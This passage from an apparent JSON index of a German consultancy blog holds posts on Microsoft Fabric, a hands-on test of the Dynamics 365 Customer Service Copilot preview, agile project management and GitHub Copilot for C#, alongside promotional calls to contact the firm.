CVE-Exploits werden bereits vor Bekanntmachung der entsprechenden Sicherheitslücke veröffentlicht und das durchschnittlich 23 Tage vorher. Quelle: Palo Alto \u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"27. Juli 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/devsecops_hu0edc87063d5f565bb2cf5e6b9248b029_46039_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/devsecops_hu0edc87063d5f565bb2cf5e6b9248b029_46039_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/was-wir-unter-devsecops-verstehen/","tags":["devsecops","security"],"title":"Was wir unter DevSecOps verstehen"},{"categories":["Insights"],"contents":"Microsoft Fabric ist eine neue einheitliche Data-Analytics-Plattform, welche die bestehenden Microsoft-Produkte zusammenfasst und zentrale Herausforderungen, wie die Unternehmensdatenverwaltung und die Zugriffe hierauf, löst. Dies wurde auf der diesjährigen Entwicklerkonferenz Microsoft Build 2023 vorgestellt. Microsoft setzt damit das Konzept rund um Data Fabric in einem eigenen Service um und bietet Unternehmen eine umfangreiche Lösung an. In diesem Blogbeitrag geben wir einen Überblick zu Microsoft Fabric, gehen auf einige Features ein und erklären, wie man die kostenlose Testversion von Microsoft Fabric aktivieren und nutzen kann.\nWas ist Microsoft Fabric? Microsoft Fabric ist eine SaaS-All-in-One-Analyselösung von Microsoft für alles von der Datenspeicherung bis hin zur Datenanalyse. Viele bereits vorhandene Komponenten wie, Power BI und Synapse, werden vollintegriert bereitgestellt. Microsoft bietet eine 60-tägige, kostenlose Testversion an. Zum Testen und Verproben sehr empfehlenswert! Microsoft Fabric: die neue All-in-One-Analyselösung Microsoft bietet mit Power BI, Synapse Analytics, Data Factory usw. bereits ein umfangreiches Angebot an Data-Analytics-Tools an. Mit Microsoft Fabric wurde auf der Build 2023 nun eine All-in-One-Analyselösung für Unternehmen vorgestellt, die den sämtlichen Analytics-Workload in einer SaaS-Plattform abbildet.\nVorteile durch einheitliche Datenverwaltung „OneLake“ Die zentrale Einheit bildet hierbei der sogenannte OneLake ab. Hierdurch erhält man u.a. eine zentrale Instanz zur Datenverwaltung und eine zentrale Verwaltung der Zugriffe und Berechtigungen. Dies hat insbesondere den Vorteil, dass die bis dato errichteten Daten-Silos obsolet werden und die Steuerung der Zugriffe nun nicht mehr je Workload (z.B. in Power BI) geschieht, sondern eben an zentraler Stelle. Dadurch können unterschiedliche Abteilungen und Bereiche auf dieselbe Datenbasis zugreifen und nutzen die Tools, womit sie nun auf die Daten zugreifen können.\nDie Auswahl der jeweiligen Komponenten erfolgt vollintegriert in der Plattform und lässt einfache Wechsel dazwischen zu.\nZu den Komponenten gehören:\nData Factory Synapse Data Engineering Synapse Data Science Synapse Data Warehouse Synapse Real-Time-Analytics Power BI OneLake: OneDrive für Daten Ähnlich zu OneDrive stellt der OneLake einen logischen Data Lake für die gesamte Organisation bereit. Wie die Verwaltung, Collaboration usw. von Office-Dateien mit OneDrive realisiert wird, verwaltet Microsoft Fabric mit OneLake sämtliche hierzu gehörenden Daten wie Lakehouse, Warehouse usw.\nLakehouse in Microsoft Fabric erstellen Wenn nun Mitarbeitende auf die Daten zugreifen möchten, können sie sich Arbeitsbereiche anlegen. Darin kann ein sogenanntes Lakehouse erstellt werden. Ein Lakehouse stellt eine Sammlung von Dateien, Ordnern und Tabellen, die als Repräsentation aus dem Data Lake stammt. Vorhandener PaaS-Speicher kann als Shortcut einfach eingebunden werden, somit ist keine Migration dieser Daten notwendig.\nZugriffsformate je nach Bedarf in Microsoft Fabric Die Datenrepräsentation im Warehouse und Lakehouse erfolgt im Delta-Parquet-Format. Dadurch ergeben sich weitere Vorteile, wie die Auswahl der jeweiligen Auswahl der Zugriffe hierauf. Der Benutzer entscheidet selbst, wie er auf die Daten zugreifen möchte. So kann z.B. ein Mitarbeitender für Data Warehousing für den Zugriff T-SQL verwenden, wohingegen sein Kollege, der mit Power BI arbeitet, einfach über die Analyseservices auf die Daten zugreifen kann.\nKostenlose Testversion von Microsoft Fabric zum Einstieg Aktuell ist Microsoft Fabric in einer öffentlichen Preview und kann von allen Interessierten kostenlos für 60 Tage getestet werden. Das bietet eine super Gelegenheit, um sich mit Microsoft Fabrics erstmalig zu beschäftigen und die eigenen Use-Cases auszuprobieren. Klare Empfehlung von unserer Seite!\nWir beraten Sie unverbindlich zur Einführung von Microsoft Fabric in Ihrem Unternehmen Aktivierung von Microsoft Fabric Die kostenlose Preview kann man auf mehreren Wegen für sich aktivieren. Am einfachsten ist der Weg über eine bestehende Power-BI-Lizenz. Dazu auf der Homepage von Fabric mit dem MS365-Account anmelden und über das Icon rechts oben die Preview mit \u0026ldquo;Test starten\u0026rdquo; aktivieren.\nIntegration von Microsoft Fabric mit Power BI Falls ihr noch keine Power-BI-Lizenz besitzt, könnt ihr euch auf der gleichen Seite für Power BI anmelden und mit der kostenlosen Power-BI-Lizenz starten. Damit können schon die meisten Power-BI-Funktionen genutzt werden, allerdings ist es unter anderem nicht möglich, Inhalte zu teilen oder zu veröffentlichen.\nZum Ablauf der Testlizenz müssen - das haben kostenlose Testversionen nun mal so an sich - für die weitere Nutzung kostenpflichtige Lizenzen für Microsoft Fabric erworben werden. Alternativ kann die Testlizenz auch einfach auslaufen gelassen werden, wobei dann sämtliche Fabric-Elemente gelöscht werden und keine weiteren Kosten entstehen.\nBesonders interessant für alle, die Microsoft Fabric mit existierenden Power-BI-Arbeitsbereichen testen und ausprobieren wollen: In den Einstellungen des Arbeitsbereichs kann die Lizenz auf die aktuell genutzte Testlizenz geändert werden.\nMigration auf Microsoft Fabric Für bestehende Analytics-Projekte in Azure stellt sich vor allem die Frage nach den Möglichkeiten einer Migration auf Fabric. Der Migrationsaufwand ist wie immer stark Use-Case-abhängig und wird von Projekt zu Projekt stark unterschiedlich sein. Es gibt aber auch große Unterschiede, was die benutzten Komponenten betrifft. Für die Migration von Power-BI-Arbeitsbereichen von Azure-Analysis-Services zu Fabric stellt Microsoft das Tool \u0026ldquo;Azure Analysis Services to Fabric and Power BI Premium Migration Experience\u0026rdquo; bereit, dass die Migration von semantischen Modellen in wenigen Klicks unterstützt (Microsoft Doku ). Auf der anderen Seite ist eine Migration von Azure Synapse herausfordernder, da einige Features, wie Synapse Link oder OPENROWSET, (noch) nicht in Microsoft Fabric existieren. Hier muss deutlich vorsichtiger herangegangen werden und das Projekt auf alle nicht von Fabric unterstützten Features überprüft werden.\nLizenzkosten: Was kostet Microsoft Fabric? Microsoft bietet Fabric in verschiedenen Kapazitäten, Microsoft\u0026rsquo;s Capacity Units (CU), an, die von 2 CU bis zu 2048 CU reichen. Die mit der Lizenz erworbenen Kapazitäten stehen dem Nutzer und seinen Arbeitsbereichen voll und exklusiv zur Verfügung. Die Preise sollen Berichten zufolge dabei bei einigen Hundert Dollar pro Monat für die kleinsten Kapazitäten starten [1] . Zusätzlich werden für die Datenspeicherung Kosten fällig, die nicht in der kapazitätsbasierten Lizenz enthalten sind und sich an den Preise für Azure Data Lake Storage orientieren sollen [2] . Für Kapazitäten unter 64 CU wird außerdem für alle Nutzer eine Power-BI-Pro-Lizenz benötigt, um erstellte Inhalte konsumieren zu können. Die Fabric-Doku - Lizenzen bietet hierzu noch viele weitere Details und Erklärungen.\nWie unterstützen wir bei der Einführung von Microsoft Fabric? Die Nutzung der Testversion ist beschrieben und kann gerne getestet werden. Soll Microsoft Fabric als zentrale Analyselösung im Unternehmen eingesetzt werden, unterstützen wir bei Objektkultur mit einem erfahrenen Expertenteam und einer individuellen Roadmap für Ihren Anwendungsfall:\nBedarfsgerechte Architektur- und Organisationsberatung (z.B. zu Data Mesh) Einführung von MS Fabric Technische Konzeption Unterstützung und Enablement der Data Engineers bzw. der BI-Teams Anbindung von Datenquellen (Cloud und On-Premises) Aufbereitung und Modellierung von Daten und deren Produkten Implementierung von Analysen und Reports (z.B. in Power BI) Integration von weiteren bestehenden Anwendungen und Systemen Wir beraten Sie unverbindlich zur Einführung von Microsoft Fabric in Ihrem Unternehmen ","date":"20. Juli 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/microsoft-fabric_huf6f00cf398683cc06c39a9eeb143c853_91204_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/microsoft-fabric_huf6f00cf398683cc06c39a9eeb143c853_91204_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/microsoft-fabric-die-neue-data-fabric-l%C3%B6sung/","tags":["tooling"],"title":"Microsoft Fabric - die neue Data-Fabric-Lösung"},{"categories":["Serien"],"contents":"Endlich ist sie da, die erwartete Preview-Version von Dynamics 365 Customer Service Copilot. Die Chance, neben den Marketing-Versprechen und Demo-Videos von Microsoft sich selbst einen Eindruck von der KI (Künstlicher Intelligenz) Fähigkeit von Microsoft zu verschaffen. Meine KI-Erfahrung hat mich gelehrt, dass man Demos immer nur begrenzt trauen kann. Denn natürlich ist es immer möglich, ein bestimmtes vorab trainiertes Szenario zum Laufen zu bringen. Aber die entscheidende Frage ist: Wie kann die KI mit unbekannten, neuen Fragen umgehen?\nDemo-Video zum Copilot in Microsoft Customer Service ansehen Hintergrund: Microsoft Copilot für Microsoft Dynamics 365 und Office 365 Microsoft hat angekündigt, eine ganze Reihe von Copilots – quasi zu fast jedem Cloud-Angebot des Konzerns - in den kommenden Monaten an den Start zu bringen. Die ersten Copilots sind schon als Preview-Version verfügbar. Das Paradigma ist, dem Anwender im Hintergrund optional immer mit KI-Unterstützung zu helfen, um seine Aufgaben schneller zu erledigen. Der Fokus liegt hierbei auf einer halbautomatischen Unterstützung, z.B. mit der Generierung von Vorschlägen, anstatt den Benutzer komplett zu ersetzen. Es wird Office-365-Copilots geben, die z.B. meinen soeben in Word geschriebenen Text auf Verständlichkeit und Grammatik prüfen und eine Bewertung abgeben.\nCustomer Service ist das Kundenservicemodul von Dynamics 365 . Es unterstützt Firmen, den Kundenservice zu digitalisieren, indem die Kommunikation von Kunden über alle Kanäle (Sprache, Chatbot, Chat, WhatsApp, Facebook, E-Mail u.v.m.) gebündelt und die Lösung der Supportfälle unterstützt wird. Eine vollwertige Call-Center-Telefonanlage und ein Chatbot sind auf Wunsch optional enthalten.\nStarterpaket zur KI-Nutzung in Ihrem Unternehmen: Wir unterstützen Sie mit sorgfältiger Beratung, Entwicklung und Implementierung! Copilot-Use-Case: ChatGPT im Kundenservice Dynamics 365 Customer Service Copilot ist ein KI-gestütztes Tool auf Basis von ChatGPT, das das Agentenerlebnis in Dynamics 365 Customer Service revolutioniert. Es bietet KI-gestützte Unterstützung in Echtzeit, die Agents dabei hilft, Probleme schneller zu lösen, Anfragen effizienter zu bearbeiten und zeitaufwändige Aufgaben zu automatisieren. So können sie sich auf die Bereitstellung hochwertiger Dienstleistungen für ihre Kunden konzentrieren. (Quelle dieses Absatzes: Bing Chat)\nCopilot ist nicht die erste KI-Lösung in Dynamics 365. Microsoft hat mit Customer Service Insights, Sentiments-Analysen, Sprache-zu-Text und weiteren Funktionen in den letzten Jahren bereits KI eingebaut. Neu ist der ChatBot, der rechts in einer Seitenleiste auftaucht und seine Dienste anbietet.\nChatGPT ist ein automatisierter Chatbot, der auf der generativen KI von OpenAI basiert. Eine generative KI verarbeitet große Mengen an Text und Informationen und ist in der Lage, Antworten zu geben. Wichtig zu wissen ist dabei, dass es sich nicht um eine exakte gesicherte Antwort handelt, sondern dass die Maschine gelernt hat und auch teilweise selber versucht, neue Fakten zu generieren. Das bedeutet, dass falsche Antworten möglich sind.\nLive-Test Dynamics 365 Copilot mit Bilderstrecke Nachdem ich eine neue Demo-Umgebung von Dynamics 365 Customer Service aufgesetzt habe (zum Zeitpunkt des Verfassens dieses Artikels nur in den nordamerikanischen Rechenzentren von Azure und nur in englischer Sprache möglich), habe ich die Voraussetzungen für die Aktivierung von Copilot konfiguriert, wie z.B. die Aktivierung der globalen Suchfunktion. In den Einstellungen von Copilot erkennt man, welches zusätzliche Wissen für den Standard-ChatGPT bzw. Bing-Chat genutzt wird. So sind öffentliche Internetquellen, wie FAQ-Seiten des Unternehmens, sowie in Dynamics 365 vorhandene Informationen, wie Historie des Supportfalls, Informationen zum Kunden, die Wissensbasis sowie die erfolgreichen Supportfälle der Vergangenheit, ebenso möglich.\nDamit ein sinnvoller Kontext für ausgewählte Supportanfragen besteht, habe ich zusätzliche Beispieldaten erstellt. Dann öffnete ich einen einfachen Supportfall und tatsächlich begrüßte mich in der rechten Seitenleiste der Copilot mit der Frage, ob er mir helfen kann und lieferte mir zusätzlich eine Zusammenfassung des Supportfalls. Die Zusammenfassung eines einfachen Sachverhaltes war kurz und präzise (Hinweis: Bei längeren Verläufen wurde die Zusammenfassung nach meinem Gefühl auch etwas zu lang). In der Anfrage geht es um Pedale eines bestellten Mountainbikes, die beim Versand beschädigt wurden.\nIn meiner erste Frage (passend zum beigebrachten externen Wissen) wollte ich wissen, wie die Kundin die Pedale demontieren kann. Prompt kam eine Anleitung dazu, allerdings vom allgemeinen Wissen der KI und nicht von den angelernten Inhalten. Unter der Antwort finden sich verschiedene Optionen zum Kopieren des Textes und zum Bewerten der Antwort.\nMeine zweite Frage sollte das interne Wissen des Copilots abzapfen, um zu sehen, ob die Verbindung mit dem CRM funktioniert. So fragte ich, was unser Vorgehen in diesem Fall ist. Die Antwort entsprach dem Artikel der Wissensbasis. Sehr gut. Verschiedene Variationen der Frage führten zum gleichen richtigen Ergebnis. Fragen, die darauf aufbauten, dass Copilot den Kontext kennt, waren auch erfolgreich. So z.B.: „Wie kann ich dieses Problem lösen?“. In der Kundenhistorie ist das Verlaufsprotokoll mit Copilot nach Ende der Unterhaltung sichtbar.\nIch entschloss mich, dem Kunden eine E-Mail zu schreiben, um eine Lösung vorzuschlagen. In der leeren E-Mail fragte mich Copilot mithilfe verschiedener Optionen, von denen ich „das Problem des Kunden lösen“ auswählte. Die Antwort war wohl formuliert und nutzte die Daten aus vergangenen Fällen sowie aus der Wissensbasis. Die Quellen waren angegeben. Dem Hinweis folgend, dass Antworten der KI fehlerhaft sein können, prüfte ich den Text, bevor ich ihn versendete.\nNach der Aktivierung von Omnichannel für Dynamics 365 können Interessenten und Kunden unter anderem durch einen Live-Chat oder durch einen Chatbot unterstützt werden. Weitere Kanäle sind SMS, Sprache, Social Media sowie WhatsApp und Facebook Messenger. In diesem Fall simulierte ich einen Chat eines Kunden bzgl. seiner Lieferung. Die Pedale des Fahrrads waren nicht montiert und der Kunde fragte nach Hilfe. Über dem Button „Antwort vorschlagen“ erhielt ich einen Vorschlag, den ich direkt an den Kunden senden konnte. Auch die Rückfrage „welches Fett?“ konnte auf diesem Weg beantwortet werden. Zusätzlich nutze ich die Option, weitere Informationen mitzugeben, woraufhin Copilot seine Antwort anpasste. Das war wieder ein Beispiel ohne spezifisches Firmenwissen aus dem CRM. Meine Versuche mit Fragen zu Wissensartikeln funktionierten auch gut.\nSchlusswort Es ist noch zu früh, um ein Fazit zu ziehen, da:\nCopilot noch eine Preview-Version ist. Copilot aktuell nur in Englisch verfügbar ist. wenig aussagekräftige Support-Fälle, Produktdaten und Wissensartikel im System hinterlegt hat. zu wenig Testfälle durchgeführt wurden. In vielen Fällen waren die Antworten gut formuliert und inhaltlich korrekt. Einzelne falsche Fälle waren aber dabei. Ein Beispiel für eine solche falsche Antwort war: | Kunde: \u0026ldquo;Warum soll ich das zahlen? Es ist doch dein Fehler!\u0026rdquo; | Vorschlag Copilot: „Ich bin doch eine künstliche Intelligenz. Ich kann nicht für den physikalischen Schaden verantwortlich sein!“\nAuf jeden Fall wird Copilot den Kundenservice verändern. Im aktuellen Status sollte darauf geachtet werden, dass die Antworten durch einen echten Mitarbeitenden geprüft und dann erst an den Kunden geschickt werden. Mehr zu den Funktionalitäten des Microsoft 365 Copilots Disclaimer: Dieser Artikel hat nur den aktuellen technischen Stand der Lösung betrachtet. Die Ergebnisse basierten auf einer Preview-Version. Zu betrachten sind neben den technischen auch weitere Aspekte, wie ethische Grundsätze bei Einsatz von KI, der Prozess zur Einführung sowie Datenschutzfragestellungen.\nStarterpaket zur KI-Nutzung in Ihrem Unternehmen: Wir unterstützen Sie mit sorgfältiger Beratung, Entwicklung und Implementierung! ","date":"13. Juli 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/copilot-d365_huf4eec6577f263713e1187307f32d0922_65119_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/copilot-d365_huf4eec6577f263713e1187307f32d0922_65119_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/unboxing-dynamics-365-customer-service-copilot/","tags":["dynamics-365","automation"],"title":"Unboxing Dynamics 365 Customer Service Copilot"},{"categories":["How To","Serien"],"contents":"Dieser Blogpost ist der Start einer Serie zu einem unserer Individualentwicklungsprojekte . Im Rahmen der Serie werden die Projektmitglieder von ihrer Arbeit und einem aktuellen Entwicklungsthema schreiben. Das Projekt, von dem wir berichten, ist eine Anwendung zur zentralen, digitalen Ausschreibung von Baugewerken. In diesem Projekt wird eine über 20 Jahre alte Legacy-Anwendung abgelöst. Wir entwickeln einen Nachfolger, der neben einem modernen Techstack (Angular, .NET Core, Azure Cloud Services) auch eine Vielzahl von langersehnten Funktionen liefert, wie z.B. eine Multiuser-Fähigkeit zum parallelen Bearbeiten einer Ausschreibung.\nHeute starten wir mit unserem agilen Vorgehen und wie Projektmanagement @Objektkultur zusammen mit einem starken Team das Projekt in Time, in Scope und in Budget hält.\nHier mehr zu unserem agilen Projektvorgehen erfahren! Einleitung zum agilen Projektvorgehen bei Objektkultur 52% der IT-Vorhaben haben zumindest teilweise nicht die Wünsche und Anforderungen der Auftraggeber erfüllt. 19% der Projekte sind ein Totalausfall und wurden abgebrochen. Nur 29% der untersuchten Projekte waren total erfolgreich. *Zahlen aus „Chaos Report\u0026quot; der Standish Group, USA, 2015\nSolche Studien sind vermutlich jedem Leser bekannt. Wir bei Objektkultur sind der Meinung, dass man mit den richtigen Tools und zusammen mit den richtigen Leuten solche Schreckensszenarien vergessen kann. Projektmanagement ist eine unserer Kernfähigkeiten, denn neben einem fähigen Entwicklungsteam braucht es auch das passende Projektvorgehen, um die Arbeit der Mitarbeitenden auch wertschätzend einzusetzen.\nDie Herausforderung: hohe Komplexität und viele Schnittstellen Die Ablösung einer großen Legacy-Anwendung ist nicht trivial. Zwei Bereiche waren besonders herausfordernd: Alle relevanten, bestehenden Funktionen müssen übernommen werden. Jedoch wurde noch nicht bei allen definiert, was relevant ist. Zudem muss die Anwendung mit verschiedenen Systemen des Kunden integriert werden, wie z.B. dem ERP-System, den Controlling-Reports, den Kalkulationsanwendungen oder dem Active Directory. Jedoch sind einige der Schnittstellen weder definiert noch implementiert.\nDie Lösung: Produktfokus und agiles Projektvorgehen Diese Herausforderungen haben wir mit unserem agilen Vorgehen gelöst. Neben der agilen, iterativen Arbeit haben wir uns auf den produktorientierten Ansatz konzentriert: Wir betrachten die Anwendung nicht als ein einmaliges Entwicklungsprojekt, sondern von Anfang an als ein lebendiges Produkt, das kontinuierlich weiterentwickelt wird. Dabei konzentrieren wir uns auf die Bedürfnisse der Nutzer und stellen die Funktionen bereit, die dem Kunden/Anwender einen echten Mehrwert bringen. Damit konnten wir schon früh im Projekt sicherstellen, dass am Ende eine Anwendung entsteht, die alle Kernprozesse unterstützt, ohne alle alten, überflüssigen Funktionen nachzubauen. Zudem haben wir einen engen Austausch mit dem Kunden und den Endnutzern, um Feedback einzuholen und die Anforderungen zu priorisieren. Bei den Schnittstellen hat sich Rapid Prototyping bewährt, um die finale Schnittstelle technisch und fachlich in mehreren Zyklen zu definieren und zu verfeinern. Fazit: Viele Erfolgsfaktoren für das Projektmanagement Natürlich könnte man jetzt alle Prinzipien der agilen Entwicklung aufzählen oder sämtliche Scrum-Artefakte und deren Auswirkungen auf unseren Projekterfolg, aber ich möchte das Ergebnis dieses Posts etwas prägnanter halten und einige einfache Key-Takeaways aufzählen, die ihr für euer nächstes Projekt mitnehmen könnt.\nHier mehr zu unserem agilen Projektvorgehen erfahren! Meetings mit klarem Ziel Alle Regeltermine brauchen eine zielgerichtete Agenda. Im Rahmen unserer regelmäßigen Retrospektiven haben wir als Team die Termine optimiert und die Agenda angepasst, sodass alle Regeltermine inzwischen sehr produktiv ablaufen. Jeder Termin hat ein klar definiertes Ziel und hilfreiche Agendapunkte, die das Team bei der Ziererfüllung unterstützen.\nPersönlicher Kontakt Heutzutage haben wir die Möglichkeiten und auch das Mindset, um Termine remote abzuhalten. Doch trotz aller technischer Unterstützung darf das Zwischenmenschliche nicht vergessen werden. Insbesondere der persönliche Kontakt hilft beim Menscheln. Team-Tage im Büro, regelmäßige Workshops beim Kunden vor Ort und ja, auch ab und zu mal ein Teamevent haben uns geholfen, aus Entwicklern, Kunden und allen anderen Beteiligten ein performantes Projektteam zu formen.\nRetro = KVP Jedes Projekt ist der Definition nach unterschiedlich. Darum muss auch das beste Vorgehen für das jeweilige Projekt optimal eingestellt werden. Versucht, euch in der Retro und das Projektvorgehen zu verbessern. Nehmt die Retrospektiven ernst, denn schon kleine Änderungen können einen großen Effekt auf das Ergebnis haben.\nTesting und Prototyping Holt euch, so früh und so oft wie möglich, Feedback. Erstellt einen kleinen Prototyp als Diskussionsgrundlage, baut ein paar einfache Mockups oder liefert einen MVP an die Key-User aus. Damit entdeckt ihr viel schneller, ob ihr auf dem richtigen Weg seid, als in einer Vielzahl von Refinements, bei der ihr im Elfenbeinturm sitzt, Annahmen trefft und am Ende nur Text für User-Stories produziert.\nMit Feedback können wir sicherstellen, dass wir ein qualitativ hochwertiges Produkt liefern, das den Nutzern gefällt und auch einen Mehrwert liefert.\nStarkes Team für ein erfolgreiches Projektvorgehen Auch für das beste Projektvorgehen braucht man ein Entwicklerteam. Ich freue mich, ein starkes Team an meiner Seite zu haben und bin stolz auf das, was wir zusammen geschaffen haben. Wenn ihr auch ein starkes Entwicklerteam braucht, kommt gerne auf uns zu.\nIch hoffe, ihr habt einen Einblick in das Projektvorgehen von Objektkultur bekommen. Wenn ihr mehr wissen wollt, kommt einfach auf uns zu.\nIhre Herausforderung ist nur mit einer Individualentwicklung zu lösen? Unsere Experten beraten Sie gerne! ","date":"5. Juli 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/pm-at-ok_hu028083abb93eb85a909186d55dbbd3c2_131494_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/pm-at-ok_hu028083abb93eb85a909186d55dbbd3c2_131494_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/agiles-projektmanagement-f%C3%BCr-erfolgreiche-produkte-individualentwicklungsserie-teil-1/","tags":["frontend","backend",".net"],"title":"Agiles Projektmanagement für erfolgreiche Produkte - Individualentwicklungsserie Teil 1"},{"categories":["Insights"],"contents":"Spätestens mit ChatGPT ist die generative KI in aller Munde. Aber wie funktioniert das Ganze und was hat Microsofts GitHub Copilot damit zu tun? In diesem Blogbeitrag zeige ich den Einsatz von GitHub Copilot in einem C#-Projekt mit meinen persönlichen Erfahrungswerten dazu.\nWas ist der GitHub Copilot? Bevor wir uns den GitHub Copilot anschauen, möchte ich noch einen kurzen Einschub zu ChatGPT von OpenAI machen. ChatGPT verwendet einfach gesagt ein KI-Modell, welches auf einer Vielzahl von unterschiedlichen Texten und Konversationen, welche von echten Menschen stammen, trainiert wurde. Wenn man nun eine Frage stellt, kann ChatGPT auf Basis von Wahrscheinlichkeiten den entsprechenden Output formulieren. Wie das Ganze genau funktioniert, kann man aber auch auf der Hilfeseite von OpenAI nachlesen .\nIm Entwickleralltag ist es nicht unüblich, dass durch Pair-Programming Code gemeinsam geschrieben wird. Dabei befindet sich ein Kollege an der Tastatur und programmiert, während der andere zuschaut und mitdenkt. Das Ganze läuft dann im Wechsel. Dadurch wird effizient Code erstellt, da man gemeinsam programmiert.\nGitHub beschreibt seinen Copilot als KI-Pair-Programmer. Also einer KI-gestützten Funktionseinheit, welche einem beim Entwickeln Hinweise und Vorschläge liefert - nur eben direkt in der gewohnten Entwicklungsumgebung.\nGetting Started: GitHub-Copilot-Preis Um den GitHub Copilot nutzen zu können, muss man in seinem GitHub-Account die Funktionalität aktivieren. Das kostet 10$/Monat pro User. Es existiert aber auch eine Enterprise-Variante, welche mit einem Lizenzmanagement daherkommt. Der erste Monat kann als kostenloser Probemonat verwendet werden.\nGitHub Copilot unterstützt eine Reihe von Entwicklungsumgebungen, hierzu gehören u.a. JetBrains, Visual Studio und VS Code. Um es mit Visual Studio nutzen zu können, benötigt man die Version 2022 (mindestens Version 17.4.4). Die Nutzung erfolgt jeweils über eine Visual-Studio-Erweiterung (Extension) und der Authentifizierung darüber. Über die GitHub Docs erhält man eine Step-by-Step-Anleitung.\nGithub Copilot Supported Languages Folgende Sprachen werden unterstützt (Stand 29.06.2023):\nPython JavaScript TypeScript Ruby Go C# C++ Wie arbeitet der GitHub Copilot? Der Copilot kann durch unterschiedliche Möglichkeiten verwendet bzw. angestoßen werden. Dazu gehört u.a. die Implementierung durch den Methodenkopf. Durch STRG + ALT + ^ kann der Inline-Vorschlag getriggert werden. Mithilfe von ALT + , (vorheriger Vorschlag) oder ALT + - (nächster Vorschlag) kann durch die Implementierungsvorschläge navigiert werden.\nImplementierung durch Methodenkopf Wenn man lediglich einen Methodenkopf notiert, liefert der Copilot eine Möglichkeit der Implementierung. Den Vorschlag kann man mittels TAB annehmen oder (falls vorhanden) durch die Implementierungsvorschläge navigieren.\nDer Copilot liefert aber auch Vorschläge für Implementierungen für komplette Methoden.\nImplementierung durch Kommentare Mithilfe von Kommentaren können auch komplette Methoden generiert werden. Auch hier bedient sich der Copilot aus dem Kontext der Klasse bzw. dem Projekt.\nSicherlich kann man hier über die Art der Implementierung diskutieren, doch erhält man einen guten Vorschlag für eine mögliche Lösung. Wenn man im Kommentar einige Hinweise bzgl. der Implementierung mitgibt, wird auch der Vorschlag angepasst.\nEin guter Anwendungsfall stellt auch die Erstellung von regulären Ausdrücken dar. Auch diese kann man sich generieren lassen.\nFragen stellen via Kommentare Eine interessante Funktion bietet Copilot durch das Fragen stellen via Kommentar. Der Kommentar muss lediglich mit einem \u0026ldquo;Q\u0026rdquo; für Question beginnen. Der Copilot antwortet dann auch wiederum mit einem Kommentar (mit einem vorgestellten \u0026ldquo;A\u0026rdquo; für Answer). Hierzu habe ich mich auf die oben genannten Beispiele bezogen und Copilot gefragt, was der Unterschied der beiden Methoden-Implementierungen ist.\nMan kann hierdurch auch (technische) Fragen zu Funktionalitäten stellen.\nWenn man diese Frage noch weiter spezifiziert, erhält man einen Link zu StackOverflow, wo das ganze beschrieben wird.\nAber auch ganz allgemeine technische Fragen kann man hier stellen.\nAutocomplete in GitHub Copilot Eine sehr große Arbeitserleichterung ergibt sich in der Autocompletion durch den Copilot. Im folgenden Beispiel habe ich eine weitere Query-Klasse in meiner To-do-App erstellt (bekannt aus meiner Blog-Serie zu WebAPIs mit Azure Functions ). Und hier erhalte ich direkt Vorschläge für die Attributierung der Parameter. Hierdurch hilft der Copilot auch beim Refactoring und beschleunigt diesen.\nGitHub-Copilot-Test - ein Fazit Die Verwendung von GitHub Copilot ist sehr natürlich und erinnert mich tatsächlich an eine Art Pair-Programming. Durch die vielseitige Möglichkeit des Austauschs erhält man rasch Implementierungsvorschläge. Sicherlich ist der generierte Code nicht immer der Beste, doch beschleunigt der Copilot die Produktivität. Durch den Einsatz von Copilot kann man die Komplexität der Aufgaben reduzieren und erhält direkt Vorschläge, wie diese umgesetzt werden können. Der Medienbruch und der Einsatz von Suchmaschinen wird hierdurch auf das Minimum reduziert.\nIn meinem Test konnte ich allerdings nicht ganz auf ChatGPT verzichten, so konnte ich mit GitHub Copilot keine größeren bzw. komplexeren Implementierungen umsetzen bzw. vorgeschlagen bekommen (wie z.B. dem Verbinden mit einer Datenbank und dem Abruf von Daten). Nichtsdestotrotz beschleunigt es den Entwicklungsprozess enorm und als Entwickler behält man dennoch die Kontrolle. In Kombination mit Visual Studio 2022 und den auch mittlerweile KI-gestützten IntelliCode erhält man ein sehr starkes Tool, welches für eine große Produktivitätssteigerung beim Entwickler führt.\nDer GitHub Copilot reiht sich damit in die Familie weiterer Kopiloten von Microsoft ein. Und somit bringt der Name für mich den Zweck des Ganzen direkt auf den Punkt. Als Verwender erhält man einen umfangreichen und leistungsstarken Assistenten oder eben einen Kopiloten, welcher mich bei der täglichen Arbeit unterstützt und die Produktivität 